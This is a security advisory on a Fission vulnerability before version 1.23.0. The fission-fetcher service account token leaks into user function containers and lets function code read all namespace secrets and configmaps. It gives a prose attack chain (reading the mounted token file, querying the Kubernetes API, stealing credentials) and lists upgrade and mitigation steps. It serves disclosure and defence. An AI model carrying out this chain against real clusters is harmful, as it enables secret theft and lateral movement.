Fission Function Pods Leak Service Account Token, Enabling Namespace-Wide Secret Access

Fission is a function-as-a-service (FaaS) framework for Kubernetes. Prior to version 1.23.0, Fission runtime pods were configured with the fission-fetcher service account, which had broad permissions to read secrets and configmaps within its namespace. This was necessary for the fetcher sidecar to retrieve function code, environment variables, and configuration data. However, the service account token was automatically mounted into the user’s function container at /var/run/secrets/kubernetes.io/serviceaccount/token. This exposed the token to user-supplied function code, granting it unintended Kubernetes API privileges and the ability to read any secret or configmap in the function’s namespace, bypassing the intended security controls defined by Function.spec.secrets. This vulnerability allows malicious function code to escalate privileges and access sensitive data within the Kubernetes namespace.

Attack Chain

1. An attacker gains the ability to deploy or update a Fission Function or Package resource in a Kubernetes namespace.
2. The attacker crafts a malicious function that reads the service account token file located at /var/run/secrets/kubernetes.io/serviceaccount/token.
3. The function uses the token to authenticate against the Kubernetes API server.
4. The function queries the Kubernetes API to list and read all secrets within the namespace.
5. The function retrieves sensitive data from the secrets, such as TLS keys, OIDC client secrets, database credentials, or cloud provider credentials.
6. The function queries the Kubernetes API to list and read all configmaps within the namespace.
7. The attacker uses the stolen credentials to pivot to other Kubernetes resources or external systems.
8. The attacker compromises other systems or resources using the obtained credentials.

Impact

Successful exploitation of this vulnerability allows an attacker to read every secret and configmap within a Kubernetes namespace where Fission runtime pods are scheduled. This could include sensitive information such as database credentials, API keys, and TLS certificates. By gaining access to these secrets, an attacker could potentially compromise other applications and services running within the cluster, or even gain unauthorized access to external systems. The vulnerability violates the principle that Function.spec.secrets should be the sole declaration of secrets accessible to a function.

Recommendation

• Upgrade to Fission version 1.23.0 or later, where the user function container has AutomountServiceAccountToken set to false at the container level to prevent the token leak, as described in PR #3366.
• Until an upgrade is possible, restrict who can create or update Function and Package CRDs in your cluster, treating function code deployment as equivalent to namespace-wide secret read.
• Reduce the scope of the fission-fetcher ClusterRole/Role where possible, limiting access to specific named secrets via separate Role bindings.
• Implement NetworkPolicy egress rules to deny function pods access to the Kubernetes API server, mitigating the impact of a token leak.